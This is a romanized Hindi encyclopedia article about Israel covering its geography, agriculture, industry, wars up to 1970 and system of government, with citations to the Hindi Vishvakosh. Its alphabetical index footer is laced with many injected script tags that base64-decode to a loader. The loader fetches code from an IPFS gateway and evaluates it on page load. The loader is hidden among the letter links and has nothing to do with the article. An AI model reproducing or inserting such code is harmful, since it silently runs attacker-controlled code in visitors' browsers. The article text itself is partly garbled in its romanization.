इज़रायल

izarayal dakshin pashchim eshiya ka ek svatantr yahoodi rajy hai, jo 14 mee, 1948 ee. ko pailestain se british satta ke samapt hone par bana. yah rajy room sagar ke poorvi tat par sthit hai. isake uttar tatha uttar poorv mean lebanan evan siriyas, poorv mean jardan, dakshin mean akaba ki kha di tatha dakshin pashchim mean misr hai (kshetraphal 20,700 varg kilomitar; janasankhya 1971 ee. mean 29,99,000, jisamean yahoodi 25,60,000; musalaman 3,26,000; eesaee 76,000 tatha draz 36,000). janasankhya ke 71 pratishat log nagaroan mean rahate haian tatha 21 pratishat udyog mean lage haian. jeroosalam, jisaki janasankhya 2,82,000 hai, isaki rajadhani hai tatha tel avib (janasankhya 3,82,000) evan haipha (janasankhya 2,14,500) isake any mukhy nagar haian. rajabhasha ibrani hai.

izarayal ke tin prakritik bhag haian jo ek doosare ke samaantar dakshin se uttar tak phaile haian : roomatatiy 'shairoan' tatha philistiya ka maidan, jo atyadhik urvar hai, tatha makka jo sabjiyoan, santaroan, aangooroan evan keloan ki upaj ke lie prasiddh hai. (2) gailili, samariya tatha joodiya ka paha di pradesh, jo tatiy maidan ke poorv mean 25 se lekar 40 mil tak chau da hai. izarayal ka sarvochch parvat atzaman (ooanchaee 3,962 phut) yahian sthit hai. jazaril ghati gailili ke pathar ko samariya tatha joodiya se prithakh‌ karati hai aur tatiy maidan ko jardan ki ghati se milati hai. gailili ka pathar evan jazaril ghati samriddh krishikshetr haian jahaan gehooan, jau, jaitoon tatha tanbakoo ki kheti hoti hai. samariya ka kshetr jaitoon, aangoor evan aanjir ke lie prasiddh hai. (3) jardan ripht ghati, jo keval 10-15 mil chau di tatha atyadhik shushk hai. isake jagath‌ ke sthalakhand ka sabase nicha bhag hai. jardan nadi ke maidan mean kele ki kheti hoti hai.

izarayal ke dakshini bhag mean nejev namak marusthal hai, jisake uttari bhag mean sianchaee dvara krishi ka vikas kiya ja raha hai. yahaan jau, soragham, gehooan, sooryamukhi, sabjiyaan evan phal hote haian. sanh‌ 1955 ee. mean nejev ke heletz namak sthan par izarayal mean sarvapratham khanij tel paya gaya. is rajy ke any khanij potash, namak ityadi haian.

prakritik sadhanoan ke abhav mean izarayal ki arthik sthiti visheshat: krishi tatha vishisht evan chhote udyogoan par ashrit hai. sianchaee ke dvara sookhe kshetroan ko krishiyogy banaya gaya hai. at: krishi ka kshetraphal, sanh‌ 1969-70 mean 10,58,000 ek d tha.

tel aviv izarayal ka pramukh udyogakeandr hai jahaan kap da, kashth, aushadhi, pey tatha plastik adi udyogoan ka vikas hua hai. haipha kshetr mean simeant, mitti ka tel, mashin, rasayan, kaanch evan vidyuth‌ vastuoan ke karakhane haian. jeroosalam hastashilp evan mudran udyog ke lie vikhyat hai. nathanya jile mean hira tarashane ka kam hota hai.

haipha tatha tel aviv room sagaratat ke pattan (bandaragah) haian. ilath akaba ki kha di ka pattan hai. mukhy niryat sookhe evan taje phal, hira, motaraga di, kap da, tayar evan tyoob haian. mukhy ayat mashin, ann, ga diyaan, kath evan rasayanik padarth haian.^[1]

sanh‌ 1948 ee. se pahale philistin (izarayal jisaka ajakal ek bhag hai) briten ke aupaniveshik prashasan ke aantargat ek adhishthit (mainadeted) kshetr tha. yahoodi log ek lanbe arase se philistin kshetr mean apane ek niji rashtr ki sthapana ke lie prayatnashil the. isi uddeshy ko lekar sansar ke vibhinn bhagoan se akar yahoodi philistini ilake mean basane lage. arab rashtr bhi is sthiti ke prati satark the. phalat: 1947 ee. mean araboan aur yahoodiyoan ke bich yuddh praranbh ho gaya. 14 mee, 1948 ee. ko adhivesh (mainadet) samapt kar diya gaya aur izarayal namak ek ne desh athava rashtr ka uday hua. yuddh janavari, 1949 ee. tak jari raha. n to kisi prakar ki shaantisandhi huee, n hi kisi arab rashtr ne izarayal se rajanayik sanbandh sthapit kie. alabatta sanyukt rashtrasanghiy yuddhaviram--paryavekshak--sangathan is kshetr mean shaanti sthapana ka kary karata hai. sanh‌ 1957 mean izarayal ne pun: briten tatha phraans se milakar svej ki l daee mean gaja kshetr mean adhikar kar liya, parantu sanyukt rashtrasangh ke ajnanusar use is bhag ko aantat: chho dana p da. pratham yuddh ek prakar se samapt ho gaya, lekin apratyaksh tanatani bani rahi. 1967 ee. mean sthiti bahut kharab ho gee aur izarayal-siriya-simakshetr mean huee jh dapoan ke bad misr ne izarayal ki sima par apani sena b di sankhya mean tainat kar di. rashtrasanghiy paryavekshak dal ko nishkasit kar diya gaya aur raktasagar mean izarayal ki jahajarani par misr dvara rok laga di gee. 5-6 joon ki ratri ko izarayal ne misr par jamini aur havaee akraman shuroo kar die. jardan bhi izarayal ke viruddh yuddh mean sammilit ho gaya aur siriya ki simaoan par bhi l daee jari ho gee. 11 joon ko rashtrasangh dvara ki gee yuddhaviram ki apil lagabhag sabhi yuddharat rashtroan ne svikar kar li. lekin is samay tak izarayal gaza patti, svez nahar ke tat tak sinaee prayadvip ke bhoobhag, jardan ghati tak jardan ke bhoobhag, jeroosalam tatha gailili sagar ke poorv mean sthit siriya ke galan namak parvatiy bhag (jisamean kyoonetra namak nahar bhi hai) par adhikar kar chuka tha. jeroosalam ko tatkal izarayal ka abhinn aang ghoshit kar diya gaya, lekin shesh vilit ilake ko 'adhikrit kshetr' ke roop mean hi rakha gaya. pharavari, 1969 ee. mean levi eshkol ki mrityu ho jane par shrimati golada mayar izarayal ki pradhanamantri niyukt hueean aur aktoobar, 1969 ee. ke chunav mean unhean pun: pradhanamantri chun liya gaya. yuddh--viram--rekha par aur vishesh roop se adhikrit svez kshetr mean izarayaliyoan tath arab rashtroan evan philistini gurilla sangathan ke bich chhoti moti jh dapean chalati rahian jinaka aant agast, 1970 ee. mean hue yuddhaviram samajhaute ke bad hi hua. kiantu madhyapoorv ki vartaman sthiti tab tak visphotak bani rahegi, jab tak yahaan ki samasyaoan ka koee sthayi rajanitik samadhan nahian khoj liya jata.

sanvidhan evan shasan - izarayal ek prabhusattasanpann ganarajy hai jisaki sthapana 14 mee 1948 ee. ke ghoshana ke adhar par huee hai. 1949 ee. mean izarayali sansadh (senet) ne sankraman kanoon parit kiya jo samany shabdavali ke madhyam se sansadh, rashtrapati tatha mantrimandal ke adhikaroan ki vyakhya karata hai. 1950 ee. mean sansad ne samay-samay par mool niyamoan ko adhiniyamit karane ka prastav parit kiya. ye hi adhiniyamit mool niyam samagr roop mean izarayal ke sanvidhan ke niyamak haian. sansadh, izarayali rashtr tatha rashtrapati se sanbaddh in mool niyamoan ko kramash: 1958, 1960, tatha 1964 ee. mean parit kiya gaya.

izarayali sansadh ko sarvochch adhikar prapt haian aur 120 sadasyoanvali is ekasadani sansadh, ka chunav sarvadeshik matadhikar ke adhar par anupati-pratinidhitv-paddhati se prati char varsh ke lie karaya jata hai. rashtrapati rashtradhyaksh hota hai aur sansadh paanch varsh ke lie isaka chunav karati hai. pradhanamantri ke netritv mean gathit mantrimandal sansadh ke prati uttaradayi hota hai. mantri samanyat: sansadh sadasyoan mean se hi banae jata haian lekin inaki niyukti sadasyetar vyaktiyoan mean se bhi ki ja sati hai. poora desh chhah mandaloan mean vibhakt hai. sansadiy nirvachan ke sath-sath sthaniy adhikariyoan ka chunav bhi sanpann hota hai jinaka karyakal char varsh tak rahata hai. 27 nagarapalikaean (do araboan ki), 117 sthaniy parishadean (45 araboan tatha siriyaee deshoan ki) tatha 47 kshetriy parishadean (ek araboan ki) 674 gaanvoan ka pratinidhitv karati haian.^[2]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ navalakishor prasad sianh
↑ hindi vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 508-09 |

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> p <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ph <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] valakishor prasad sianh

[2] vishvakosh, khand 1 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 508-09 |

[1]

[2]

इज़रायल

tika tippani aur sandarbh

sanbandhit lekh

varnamala kramanusar lekh khoj

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